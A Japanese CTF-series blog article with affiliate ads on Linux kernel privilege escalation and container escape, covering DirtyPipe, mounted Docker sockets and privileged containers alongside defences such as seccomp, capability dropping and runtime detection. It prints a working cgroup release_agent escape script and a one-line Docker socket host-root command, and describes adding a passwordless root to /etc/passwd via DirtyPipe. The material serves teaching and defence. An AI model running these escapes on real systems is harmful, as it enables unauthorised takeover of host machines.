PR 本記事には広告(Amazonアソシエイト・もしもアフィリエイト・A8.net等)が含まれます。掲載情報の正確性には努めていますが、商品の詳細は必ずリンク先で最新情報をご確認ください。

【Linuxカーネル&コンテナエスケープ編】DirtyPipeからDocker socketまで|CTF思考フレームワーク #38

【Linuxカーネル&コンテナエスケープ編】DirtyPipeからDocker socketまで|CTF思考フレームワーク #38 アイキャッチ画像
安全に生きたい編集部

広告・PRを含みます。この記事にはアフィリエイトリンクが含まれます。掲載内容は編集方針に基づいて作成していますが、価格・在庫・キャンペーン内容はリンク先で最新情報を確認してください。

Dockerコンテナの中なら、外には何も影響しないよね?🐳

そう思いたいですが、DirtyPipe・DirtyCOW のようなLinuxカーネル脆弱性、特権コンテナ、Docker socket のマウント――これらでコンテナエスケープすれば、ホストOSまで掌握されます。Cloud時代の最重要攻撃面です。

Linuxカーネル脆弱性(DirtyPipe・DirtyCOW・OverlayFS)とDocker/Kubernetes 設定ミス(特権コンテナ・Docker socket マウント・hostPath ボリューム)を組み合わせると、コンテナの隔離は無力化します。NSA・MITRE もコンテナエスケープを警戒する公式文書を出しています。

コンテナの中に閉じ込めても、ホストに出てくるんだ…

この記事は、CTF思考フレームワーク第38回。Linuxカーネル+コンテナエスケープの代表的手口(DirtyPipe・Docker socket・hostPath・PrivilegedContainer)と、企業の防御策(gVisor・seccomp・AppArmor・Pod Security Standard)を整理します。

📖 この記事はシリーズの一部です
CTF思考フレームワーク#38 / 全86記事 → シリーズ一覧を見る →

🐳 Linuxカーネルの脆弱性とコンテナのエスケープは、PrivEscの最終ボス。DirtyPipeでファイルを書き換え、Docker socketで母艦を奪う。「コンテナの中だから安全」は幻想です。

カーネルexploitとコンテナエスケープは「カーネル境界」「namespace境界」「cgroup境界」「runtime設定」のどれかが破綻したときに起こります。攻撃の目線で何が起点になるかを整理します。

難易度:★★★(上級)

カーネル脆弱性とコンテナの隙間。クラウド時代の最重要トピックです🐧

Linux権限昇格はカーネル脆弱性 + コンテナの境界破りの二正面攻撃なんだ🐧

この記事で出てくる言葉

先に意味を押さえておくと読みやすい用語です。

  • CTF: セキュリティの練習問題を解く競技。必ず許可された環境だけで試します。
  • CVE: 公開された脆弱性に付く共通の管理番号です。
  • 権限昇格: 一般ユーザーから管理者権限など、より強い権限を得ることです。
  • 横展開: 侵入後に別の端末やサーバーへ移動して被害範囲を広げる動きです。
  • SUID: Linuxで一時的に強い権限で実行できる仕組み。設定ミスが危険です。
  • コンテナ: アプリを隔離された軽い実行環境で動かす仕組みです。

👀 観察フェーズ:まず何を見る?

まずuname -aSUIDバイナリ・cap_*・mount状況を観察!コンテナなら/proc/1/cgroupでホストとの関係も読む🔍

まず手元の環境が「素のホスト」か「コンテナ内」か「VM」かを判定。/.dockerenv の有無、cgroupパス、init PID、capabilities一覧で見極めます。

DirtyPipe(CVE-2022-0847)OverlayFS系、Docker socket露出、--privilegedコンテナはエスケープの宝庫です👀

コンテナの中なのに/var/run/docker.sockがマウントされてるのを見つけたら勝ち確定だね😱

  • uname -a でカーネルバージョン(CVE当てはめ)
  • cat /proc/1/cgroup でコンテナ判定
  • capsh --print で保有capability(CAP_SYS_ADMIN・CAP_DAC_OVERRIDE等)
  • /var/run/docker.sock/run/containerd の到達性
  • --privileged 起動か、host PID/network namespaceの共有有無
  • AppArmor / SELinux / seccompプロファイルの強制状態

Linux昇格・エスケープの典型は4ジャンル

🤔 仮説フェーズ:攻撃者は何を考える?

🧨 仮説①:カーネル脆弱性

DirtyPipe・DirtyCOW・OverlayFS系で非rootからrootへ。古いカーネルなら一発で刺さる。

⚙️ 仮説②:SUID/capabilities誤設定

find / -perm -4000で発見した/usr/bin/sudoや独自バイナリのSUID、cap_setuid+epの誤付与で昇格。

🐳 仮説③:Docker socket露出

コンテナ内に/var/run/docker.sockが見えていれば、特権コンテナを起動してホストにchroot。即エスケープ。

🔓 仮説④:–privileged や capability過大

CAP_SYS_ADMINを持ったコンテナはmountできる→cgroup notify_on_release経由でホスト側コマンド実行。

🕶️ 攻撃者は「カーネルexploit一発で抜けられるか?無理ならコンテナ設定の隙を突くか?」と考えます。privilegedコンテナならcgroup release_agent経由でホストコマンド実行、Docker socketがマウントされていれば docker run -v /:/host でホストrootに到達。CVE-2022-0847(DirtyPipe)はread-onlyファイルを書き換える反則技です。

カーネルもコンテナも「権限の境界」が肝心だね💧

🔬 検証フェーズ:どうやって確かめる?

linpeas.shを流して列挙→バージョン依存の既知CVEを当てる、というのが王道🧪

検証は使い捨てのVMで。DirtyPipeはカーネル5.8〜5.16.10系で再現、CVE-2022-0185(FUSEのfsconfig)はunshare可能なら一般ユーザーからroot。

capsh --printでcap一覧、mountで誤マウントが見つかるんだね💡

# 検証用:ラボのVMで
# DirtyPipe判定
uname -r  # 5.8 〜 5.16.10 が当たり

# privilegedコンテナ判定
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff なら全capability

Linux権限昇格の本命はこの3つ

⚔️ 攻撃フェーズ:実際の手口

① DirtyPipeでroot奪取

5.8〜5.16系カーネルなら/etc/passwdを書き換えてパスワードなしrootを追加できる。

② Docker socket→ホスト掌握

マウントされたDocker socketを使い、docker run -v /:/host --privilegedホストFSをマウント→chrootで完全奪取。

③ 特権コンテナエスケープ

--privilegedコンテナでcgroup release_agentに攻撃スクリプトを書き、ホスト権限で実行

privilegedコンテナの典型的な脱出は「release_agent + cgroup notify_on_release」。CAP_SYS_ADMINがあればこれが効きます。Docker socketマウントならdocker run --rm -v /:/host alpine chroot /host shで即root。

# release_agent経由のホスト侵入(privilegedコンテナ内)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n "s/.*perdir=([^,]*).*/1/p" /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo "#!/bin/shnps > /tmp/out" > /cmd
chmod +x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"

KubernetesならhostPID: truensenterでも一発。「とにかくhost~~~を貸さない」が原則です🚫

Linux権限昇格対策の3点セット!🛡️

🛡️ 防御フェーズ:どう守る?

⚙️ カーネルの最新化&livepatch

kpatch / Ksplice / livepatchで再起動なしで脆弱性を塞ぐ。クラウドVMもLTS化を維持。

🐳 コンテナを最小権限で動かす

--cap-drop=ALL+必要なcapだけ追加、read-only rootfs、Docker socketの非マウント、Userns有効化。

🛡️ Seccomp / AppArmor / SELinux

syscall制限とMACで許可された動作だけに絞る。デフォルトプロファイルでも効果絶大。

クラウドの「コンテナ=VMじゃない」を理解して守るのが大事だね💪

守備側は「コンテナを最小権限で起動」「カーネルを継続的に更新」「runtime層の検知」の三段構え。privilegedコンテナはほぼ常に避けられます。

  • 非privileged+必要なcapabilityだけ --cap-add
  • rootlessコンテナ・ユーザーネームスペース分離
  • seccomp / AppArmor / SELinuxプロファイルを強制
  • Docker socketは絶対にマウントしない(CIランナーも例外なし)
  • kernel live patching(kpatch / livepatch)でCVE即応
  • Falco / Tetragonでsyscall・プロセス起動を行動検知

🧪 検証用のLinuxラボを用意

権限昇格やエクスプロイトの練習は、許可を得た自分の検証環境で行うのがルール。💻 ConoHa VPSならUbuntuやCentOSをワンクリックで立てて、スナップショットも取れるので安心して試せます。

PR / 広告

ConoHa VPS

※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。

⚠️ よくある落とし穴

  1. 「コンテナだから安全」と過信して開発端末で --privileged を多用
  2. CAP_SYS_ADMIN以外のcapabilityも組み合わせれば抜けられることを軽視
  3. カーネルバージョンを長期間据え置き、DirtyPipe等の0day耐性を失う
  4. k8sのhostPath / hostNetwork / hostPIDを「便利機能」として無条件許可
  5. AppArmor / SELinuxを「とりあえず無効化」して開発
  6. CIランナー(GitLab Runner等)にDocker socketをマウントして全プロジェクト侵害

🧰 ツール早見表

ツール用途備考
LinPEAS / linenumPrivEsc候補の自動列挙コンテナ判定にも便利
amicontainedコンテナ環境特性のレポートcapability・seccompを一覧
deepceDocker Enumeration & Escapeコンテナエスケープ専用
kube-hunter / kube-benchk8sの脆弱設定検査CISベンチ準拠
Falcoruntime挙動検知syscall・k8s監査ログ対応

🎓 本気で学びたい人へ

Linuxとサーバ・セキュリティを仕事レベルで学びたい方へ。🎓 ササエルはインフラエンジニア向けスクールで、システム設計から防御設計まで広くカバーしています。

PR / 広告

ササエル

📚 もっと深く学びたい人へ

体系的に学ぶなら『ホワイトハッカー入門』、手を動かして覚えるなら『TryHackMeを使って身体で覚える攻撃手法と脆弱性』が定番。両方持っておくと、知識と実践の両輪で伸びます📚

📚 次に読みたい

🤝 大事なお約束

必ず守ってね

この記事で扱う確認・検証は、自分の環境、CTF、または明示的に許可された演習環境だけで行ってください。他人のサービスや端末に無断で試す行為は、不正アクセス等に該当するおそれがあります。学んだ知識は守る側で活用しましょう。

記事URLをコピーしました